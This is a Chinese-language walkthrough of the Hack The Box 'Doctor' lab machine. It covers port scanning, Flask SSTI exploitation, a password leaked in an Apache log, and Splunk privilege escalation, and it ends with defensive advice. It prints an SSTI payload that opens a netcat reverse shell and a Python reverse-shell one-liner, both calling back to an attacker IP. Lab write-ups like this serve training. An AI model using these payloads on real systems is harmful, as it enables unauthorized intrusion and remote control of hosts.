hack the box之doctor靶场练习
字数 1055 2025-08-10 22:08:13
Hack The Box: Doctor靶场渗透测试教学文档
1. 靶场概述
Doctor靶机是一个基于Web应用的渗透测试练习环境,主要涉及以下技术点:
- 子域名枚举
- SSTI (Server-Side Template Injection) 漏洞利用
- 密码重置功能的信息泄露
- Splunk服务的权限提升
2. 信息收集阶段
2.1 初始扫描
使用nmap进行端口扫描:
nmap -sV -p- 10.10.10.60
发现开放端口:
- 22/tcp - SSH
- 80/tcp - HTTP
- 8089/tcp - Splunkd
2.2 Web服务枚举
80端口网站
- 网站主题:诊所官网
- 目录扫描发现:
- /about.html
- /contact.html
- /images/
- /js/
8089端口
- 运行Splunk服务
- 直接访问被重置,需要添加hosts记录
2.3 子域名发现
通过修改/etc/hosts文件添加:
10.10.10.60 doctor.htb
访问后发现网站与IP直接访问略有不同,可能存在虚拟主机配置。
3. 漏洞利用
3.1 用户注册与登录
- 注册测试账户:abcd/abcd
- 登录后发现可以创建帖子
3.2 SSTI漏洞发现与利用
- 尝试在帖子创建中使用SSTI payload:
{{7*7}}等测试payload
- 查看页面源码发现注释:
<!-- Testing new feature: /archive?post=test --> - 访问/archive?post=test发现空白页,但源码中显示执行了
1+1 - 确认存在SSTI漏洞后,构造反弹shell payload:
{{request.application.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.4 4444 >/tmp/f').read()}} - 成功获取反向shell
3.3 初始立足点
获取的shell权限为web用户:
whoami # web
4. 权限提升
4.1 横向移动至shaun用户
-
枚举系统用户:
- splunk
- shaun
- web
- root
-
发现密码重置日志:
cat /var/log/apache2/backup发现密码
Guitar123 -
切换到shaun用户:
su shaun使用密码
Guitar123成功切换 -
获取user.txt flag
4.2 提权至root
- 发现8089端口运行Splunk服务
- 使用Splunk提权脚本:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' - 成功获取root权限
- 获取root.txt flag
5. 关键点总结
- 子域名枚举:通过修改hosts文件发现不同内容
- SSTI漏洞:通过注释发现测试功能,利用Flask SSTI获取初始shell
- 密码泄露:通过日志文件发现明文密码
- Splunk提权:利用Splunk服务默认配置不当进行权限提升
6. 防御建议
- 避免在生产环境使用测试功能
- 对用户输入进行严格过滤,防止SSTI
- 日志文件不应包含敏感信息
- 服务账户应遵循最小权限原则
- 及时更新和修补已知漏洞